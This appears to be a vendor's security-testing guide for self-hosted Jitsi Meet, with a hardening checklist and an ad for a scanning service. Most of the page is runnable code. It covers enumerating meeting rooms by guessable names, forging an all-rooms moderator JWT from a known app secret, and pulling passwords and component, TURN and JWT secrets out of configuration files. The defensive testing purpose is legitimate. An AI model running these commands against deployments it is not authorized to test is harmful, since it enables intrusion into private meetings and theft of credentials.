Jitsi Meet Security Testing: Default Credentials, API Key, Database, and Video Conferencing

Jitsi Meet is a widely deployed self-hosted video conferencing platform — it consists of multiple interacting components including Prosody XMPP, Jicofo conference focus, and JVB video bridge. Key assessment areas: JWT_APP_SECRET enables forging meeting authentication tokens granting moderator access to any room; Prosody component secrets are frequently set to weak defaults; the Jicofo REST API may expose conference statistics without authentication; and meeting rooms without locks or authentication enabled can be joined by anyone. This guide covers systematic Jitsi Meet security assessment.

Table of Contents

  1. Authentication Configuration and JWT Token Forgery
  2. Component Secret Testing and Jicofo API Access
  3. Configuration File Credential Extraction
  4. Jitsi Meet Security Hardening

Authentication Configuration and JWT Token Forgery

# Jitsi Meet — authentication configuration and JWT token forgery
JITSI_URL="https://meet.example.com"
JITSI_DOMAIN="meet.example.com"

# Check if Jitsi allows anonymous access (no authentication)
# ENABLE_AUTH=0 means anyone can join and create rooms
curl -s "${JITSI_URL}/config.js" 2>/dev/null | \
  grep -E "anonymousDomain|enableJwtAuth|requireDisplayName|tokenAuthUrl" | head -10

# Test anonymous room join (without credentials)
# If ENABLE_AUTH is disabled, any room name is joinable
# Common room naming patterns to enumerate:
for ROOM in "meeting" "standup" "all-hands" "board" "sales" "interview-2026" "cto-weekly"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${JITSI_URL}/${ROOM}" 2>/dev/null)
  echo "${ROOM}: HTTP $STATUS"
  # 200 = room accessible (may or may not require auth depending on config)
done

# JWT authentication — forge a meeting token if JWT_APP_SECRET is known
JWT_APP_ID="your-app-id"
JWT_APP_SECRET="your-jwt-secret"

python3 -c "
import json, base64, hmac, hashlib, time

header = {'alg': 'HS256', 'typ': 'JWT', 'kid': '${JWT_APP_ID}'}
payload = {
    'iss': '${JWT_APP_ID}',
    'aud': '${JITSI_DOMAIN}',
    'sub': '${JITSI_DOMAIN}',
    'room': '*',           # * = access to ALL rooms
    'iat': int(time.time()),
    'exp': int(time.time()) + 86400,
    'context': {
        'user': {
            'id': 'attacker',
            'name': 'Security Tester',
            'email': 'test@example.com',
            'moderator': True   # Grant moderator role
        }
    },
    'moderator': True
}

h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
sig_input = f'{h}.{p}'
sig = hmac.new('${JWT_APP_SECRET}'.encode(), sig_input.encode(), hashlib.sha256).digest()
sig = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
print(f'Forged moderator JWT: {h}.{p}.{sig}')
print(f'Usage: {JITSI_URL}/any-room?jwt={h}.{p}.{sig}')
" 2>/dev/null

Component Secret Testing and Jicofo API Access

# Jitsi component secret testing and Jicofo API
JITSI_DOMAIN="meet.example.com"

# Jicofo REST API — conference statistics (may be unauthenticated)
# Jicofo typically listens on localhost:8888
curl -s "http://localhost:8888/about/stats" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Jicofo stats:')
print(f'  conferences: {d.get(\"conferences\")}')
print(f'  participants: {d.get(\"participants\")}')
confs = d.get('conference_sizes',{})
print(f'  active_conf_sizes: {confs}')
" 2>/dev/null

# Check if Jicofo REST API is exposed externally
curl -s -o /dev/null -w "%{http_code}" \
  "https://${JITSI_DOMAIN}/about/stats" 2>/dev/null
# Should return 404 — if 200, Jicofo API is externally accessible

# JVB REST API — video bridge statistics
# JVB typically listens on localhost:8080
curl -s "http://localhost:8080/colibri/stats" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'JVB stats: conferences={d.get(\"conferences\")} participants={d.get(\"participants\")}')
    print(f'  bit_rate_download={d.get(\"bit_rate_download\")}')
    print(f'  version={d.get(\"version\")}')
except: pass
" 2>/dev/null

# Prosody XMPP admin access test
# Prosody admin panel (if enabled): http://localhost:5280/admin
curl -s -o /dev/null -w "%{http_code}" "http://localhost:5280/admin/" 2>/dev/null

# Check component_secret strength — commonly set to weak values
# In prosody.cfg.lua: component_secret = "..."
grep -r "component_secret" /etc/prosody/ /etc/jitsi/prosody/ 2>/dev/null | head -5

Configuration File Credential Extraction

# Jitsi Meet configuration file credential extraction

# .env file — Docker Compose deployment secrets
cat /opt/jitsi-meet/.env 2>/dev/null | grep -v "^#" | grep -v "^$" | head -30
# JWT_APP_ID — application identifier for JWT auth
# JWT_APP_SECRET — shared secret for JWT signing (moderator token forgery)
# JVB_AUTH_USER, JVB_AUTH_PASSWORD — video bridge Prosody credentials
# JICOFO_AUTH_USER, JICOFO_AUTH_PASSWORD — conference focus Prosody credentials
# JICOFO_COMPONENT_SECRET — Jicofo XMPP component secret
# JVB_BREWERY_MUC — video bridge XMPP MUC
# TURN_CREDENTIALS — TURN server shared secret

# Prosody configuration
cat /etc/prosody/conf.d/${JITSI_DOMAIN}.cfg.lua 2>/dev/null | \
  grep -E "password|secret|credentials" | head -10
# component_secret — XMPP component authentication secret
# authentication = "token" — JWT auth mode
# app_secret — application JWT secret in Lua config
# VirtualHost credentials for jicofo and jvb

# Jicofo configuration
cat /etc/jitsi/jicofo/config 2>/dev/null | head -20
cat /etc/jitsi/jicofo/jicofo.conf 2>/dev/null | \
  grep -E "password|secret|auth" | head -10
# JICOFO_AUTH_PASSWORD — Prosody password for jicofo
# focus component secret

# JVB configuration
cat /etc/jitsi/videobridge/config 2>/dev/null | head -20
cat /etc/jitsi/videobridge/jvb.conf 2>/dev/null | \
  grep -E "password|secret|credentials" | head -10
# JVB_SECRET — video bridge Prosody authentication password

# TURN server credentials
cat /etc/coturn/turnserver.conf 2>/dev/null | \
  grep -E "user|secret|realm|password" | head -10
# static-auth-secret — TURN shared secret for credential generation

Jitsi Meet Security Hardening

Jitsi Meet Security Hardening Checklist:
Security TestMethodRisk
JWT_APP_SECRET extraction and moderator token forgeryRead .env JWT_APP_SECRET — forge HS256 JWT with moderator=true and room=* claims; moderator access to all meeting rooms; kick participants, disable A/V, end meetingsCritical
Unauthenticated meeting room access (ENABLE_AUTH=0)GET /room-name — anonymous join when auth disabled; join private meetings without credentials; enumerate room names via predictable naming patternsHigh
Jicofo REST API unauthenticated conference enumerationGET /about/stats on port 8888 — active conference list with participant counts; if externally accessible, reveals all active meetings and their sizesMedium
Prosody component_secret weak default testingRead prosody.cfg.lua component_secret — if weak (changeme, jitsi, etc.), enables XMPP component impersonation on internal network; JVB and Jicofo session hijackingHigh
TURN server shared secret extractionRead turnserver.conf static-auth-secret — TURN credential generation secret; enables creating valid TURN credentials for unauthorized TURN relay usage and traffic amplificationMedium

Automate Jitsi Meet Security Testing

Ironimo tests Jitsi Meet deployments for ENABLE_AUTH=0 unauthenticated meeting access, JWT_APP_SECRET extraction and moderator token forgery, predictable meeting room name enumeration, Jicofo REST API external exposure and conference enumeration, JVB REST API unauthenticated stats access, Prosody component_secret weak default testing, TURN server shared secret extraction, .env JWT_APP_SECRET and JVB_AUTH_PASSWORD exposure, prosody.cfg.lua credential extraction, and meeting room lock bypass testing.

Start free scan